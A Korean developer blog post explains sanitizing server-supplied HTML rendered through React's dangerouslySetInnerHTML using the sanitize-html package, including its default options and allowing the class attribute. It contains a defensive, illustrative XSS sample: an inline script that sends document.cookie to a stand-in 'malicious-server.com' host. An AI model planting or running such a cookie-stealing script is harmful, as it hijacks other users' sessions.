리팩토링- 외부에서 온 HTML 검열-sanitize-html

김철준·6일 전
0

리팩토링

목록 보기
6/9

위 컨텐츠는 서버에서 받아온 HTML을 통해 보여주고 있습니다.

서버에서 받아온 위와 같은 HTML을 보여주기 위해서는 다음과 같이 dangerouslySetInnerHTML 속성을 사용합니다.

import 'prismjs/themes/prism.css';

import sanitize from "@/app/_utils/function/sanitize";
import React from 'react';

// 퀴즈 해설 컨텐츠
function QuizExplanationContent({
                                        content
                                }:{
    content:string
}) {
    return (
        <div
            className={"prose"}
            dangerouslySetInnerHTML={{__html:sanitize(content)}}
        />
    );
}

export default QuizExplanationContent;

dangerouslySetInnerHTML
dangerouslySetInnerHTML 속성은 React에서 HTML을 직접 삽입할 때 사용하는 속성입니다. 주로 HTML 문자열을 DOM에 렌더링해야 할 때 사용됩니다.
React는 일반적으로 JSX를 통해 HTML을 작성하지만, 외부에서 전달된 HTML 문자열을 DOM에 삽입하려면 이 속성을 사용해야 합니다.

dangerouslySetInnerHTML의 위험함-XSS 공격에 취약

dangerouslySetInnerHTML은 말 그대로 "위험하게" HTML을 삽입하므로, 삽입된 HTML에 포함된 악성 스크립트가 실행될 수 있는 보안 취약점이 있습니다.

예를 들어,서버에서 받은 HTML 컨텐츠 중 다음과 같은 코드가 있다고 해봅시다.

import React from 'react';

function Content() {
  // 외부에서 받은 데이터 (악성 스크립트 포함)
  const userInput = `
    <div>
      <h1>Welcome!</h1>
      <script>
        // 사용자의 쿠키를 탈취하여 공격자의 서버로 전송
        fetch('https://malicious-server.com/steal-cookie', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ cookie: document.cookie })
        });
      </script>
    </div>
  `;

  return (
    <div dangerouslySetInnerHTML={{ __html: userInput }} />
  );
}

export default Content;

위는 보통 블로그 혹은 포스팅을 작성할 때, 악성 사용자가 위와 같은 스크립트를 넣어 작성할 수 있습니다. 이를 통해, 본인의 서버로 쿠키를 전송받아 다른 유저의 정보를 이용할 수 있죠.

때문에 위와 같은 시나리오를 방지하기 위해서는 외부에서 받아온 HTML을 검열할 필요가 있습니다.

해결방법-sanitize-html

해결방법으로 sanitize-html 패키지를 사용해보겠습니다.

sanitize-html 패키지는 Node.js 환경에서 HTML 문자열을 안전하게 정리하고, XSS(크로스 사이트 스크립팅) 공격을 방지하기 위해 사용되는 라이브러리입니다. 이 라이브러리는 사용자가 제공한 HTML에서 위험한 태그와 속성을 제거하거나 허용된 태그만 남기는 방식으로 보안을 강화합니다.

프로젝트가 Nextjs로 구성되어있기 때문에 즉, nodejs 환경이기 때문에 서버사이드에서 위 패키지를 활용할 수 있습니다.

1.sanitize-html 패키지 설치

우선 sanitize-html 패키지를 설치해보겠습니다.

yarn add sanitize-html
yarn add -D @types/sanitize-html

2. sanitize 함수 생성

sanitize-html 패키지 함수를 사용할 함수를 별도로 만들어줍니다.

// app/_utils/function/sanitize.ts
import sanitizeHtml from 'sanitize-html';

function sanitize(dirtyHtml: string): string {
  return sanitizeHtml(dirtyHtml)
}

export default sanitize;

3. sanitize 가져다 쓰기

이제 서버에서 받아온 HTML에서 sanitize 함수를 써보겠습니다.

import 'prismjs/themes/prism.css';

import sanitize from "@/app/_utils/function/sanitize";
import React from 'react';

// 퀴즈 해설 컨텐츠
function QuizExplanationContent({
                                        content
                                }:{
    content:string
}) {
    return (
        <div
            className={"prose"}
            dangerouslySetInnerHTML={{__html:sanitize(content)}}
        />
    );
}

export default QuizExplanationContent;

하지만 기존에 적용되어있던 css들이 적용되지 않은 것을 확인할 수 있었습니다.

원래라면 다음과 같은 화면이여야합니다.

개발자 도구로 해당 HTML을 살펴보니 class들이 다 없어져있는 것을 확인할 수 있었습니다.

원래라면 다음과 같이 이런저런 class가 적용되어있어야합니다.

sanitize-html의 기본 옵션값

allowedTags: [
  "address", "article", "aside", "footer", "header", "h1", "h2", "h3", "h4",
  "h5", "h6", "hgroup", "main", "nav", "section", "blockquote", "dd", "div",
  "dl", "dt", "figcaption", "figure", "hr", "li", "main", "ol", "p", "pre",
  "ul", "a", "abbr", "b", "bdi", "bdo", "br", "cite", "code", "data", "dfn",
  "em", "i", "kbd", "mark", "q", "rb", "rp", "rt", "rtc", "ruby", "s", "samp",
  "small", "span", "strong", "sub", "sup", "time", "u", "var", "wbr", "caption",
  "col", "colgroup", "table", "tbody", "td", "tfoot", "th", "thead", "tr"
],
nonBooleanAttributes: [
  'abbr', 'accept', 'accept-charset', 'accesskey', 'action',
  'allow', 'alt', 'as', 'autocapitalize', 'autocomplete',
  'blocking', 'charset', 'cite', 'class', 'color', 'cols',
  'colspan', 'content', 'contenteditable', 'coords', 'crossorigin',
  'data', 'datetime', 'decoding', 'dir', 'dirname', 'download',
  'draggable', 'enctype', 'enterkeyhint', 'fetchpriority', 'for',
  'form', 'formaction', 'formenctype', 'formmethod', 'formtarget',
  'headers', 'height', 'hidden', 'high', 'href', 'hreflang',
  'http-equiv', 'id', 'imagesizes', 'imagesrcset', 'inputmode',
  'integrity', 'is', 'itemid', 'itemprop', 'itemref', 'itemtype',
  'kind', 'label', 'lang', 'list', 'loading', 'low', 'max',
  'maxlength', 'media', 'method', 'min', 'minlength', 'name',
  'nonce', 'optimum', 'pattern', 'ping', 'placeholder', 'popover',
  'popovertarget', 'popovertargetaction', 'poster', 'preload',
  'referrerpolicy', 'rel', 'rows', 'rowspan', 'sandbox', 'scope',
  'shape', 'size', 'sizes', 'slot', 'span', 'spellcheck', 'src',
  'srcdoc', 'srclang', 'srcset', 'start', 'step', 'style',
  'tabindex', 'target', 'title', 'translate', 'type', 'usemap',
  'value', 'width', 'wrap',
  // Event handlers
  'onauxclick', 'onafterprint', 'onbeforematch', 'onbeforeprint',
  'onbeforeunload', 'onbeforetoggle', 'onblur', 'oncancel',
  'oncanplay', 'oncanplaythrough', 'onchange', 'onclick', 'onclose',
  'oncontextlost', 'oncontextmenu', 'oncontextrestored', 'oncopy',
  'oncuechange', 'oncut', 'ondblclick', 'ondrag', 'ondragend',
  'ondragenter', 'ondragleave', 'ondragover', 'ondragstart',
  'ondrop', 'ondurationchange', 'onemptied', 'onended',
  'onerror', 'onfocus', 'onformdata', 'onhashchange', 'oninput',
  'oninvalid', 'onkeydown', 'onkeypress', 'onkeyup',
  'onlanguagechange', 'onload', 'onloadeddata', 'onloadedmetadata',
  'onloadstart', 'onmessage', 'onmessageerror', 'onmousedown',
  'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout',
  'onmouseover', 'onmouseup', 'onoffline', 'ononline', 'onpagehide',
  'onpageshow', 'onpaste', 'onpause', 'onplay', 'onplaying',
  'onpopstate', 'onprogress', 'onratechange', 'onreset', 'onresize',
  'onrejectionhandled', 'onscroll', 'onscrollend',
  'onsecuritypolicyviolation', 'onseeked', 'onseeking', 'onselect',
  'onslotchange', 'onstalled', 'onstorage', 'onsubmit', 'onsuspend',
  'ontimeupdate', 'ontoggle', 'onunhandledrejection', 'onunload',
  'onvolumechange', 'onwaiting', 'onwheel'
],
disallowedTagsMode: 'discard',
allowedAttributes: {
  a: [ 'href', 'name', 'target' ],
  // We don't currently allow img itself by default, but
  // these attributes would make sense if we did.
  img: [ 'src', 'srcset', 'alt', 'title', 'width', 'height', 'loading' ]
},
// Lots of these won't come up by default because we don't allow them
selfClosing: [ 'img', 'br', 'hr', 'area', 'base', 'basefont', 'input', 'link', 'meta' ],
// URL schemes we permit
allowedSchemes: [ 'http', 'https', 'ftp', 'mailto', 'tel' ],
allowedSchemesByTag: {},
allowedSchemesAppliedToAttributes: [ 'href', 'src', 'cite' ],
allowProtocolRelative: true,
enforceHtmlBoundary: false,
parseStyleAttributes: true

위 옵션값들이 기본적으로 sanitizeHtml을 사용할 때 적용되는 옵션입니다.

import sanitizeHtml from 'sanitize-html';

allowedAttributes에는 허용할 속성값들을 명시하는데 잘 확인해보면 class 속성값이 없습니다.

때문에 class속성값을 다 지운 뒤,html 반환해주는 것입니다.

모든 태그에 class 속성 허용

서버에서 받아오는 HTML의 경우,css class 적용이 대부분 태그에 적용되어있습니다.
때문에 저는 모든 태그에 class 속성을 허용해주도록 설정해보겠습니다.

import sanitizeHtml from 'sanitize-html';

function sanitize(dirtyHtml: string): string {
  return sanitizeHtml(dirtyHtml,{
    allowedAttributes:{
        '*': ['class']
    }
  })
}

export default sanitize;

위 옵션은 모든 태그에 class 속성을 허용해주겠다는 설정입니다.

이제 위와 같이 설정을 해주면 다음과 같이 제대로 화면이 나타나는 것을 확인할 수 있으며 태그에 class도 적절히 설정되는 것을 확인할 수 있습니다.

profile
FE DEVELOPER

0개의 댓글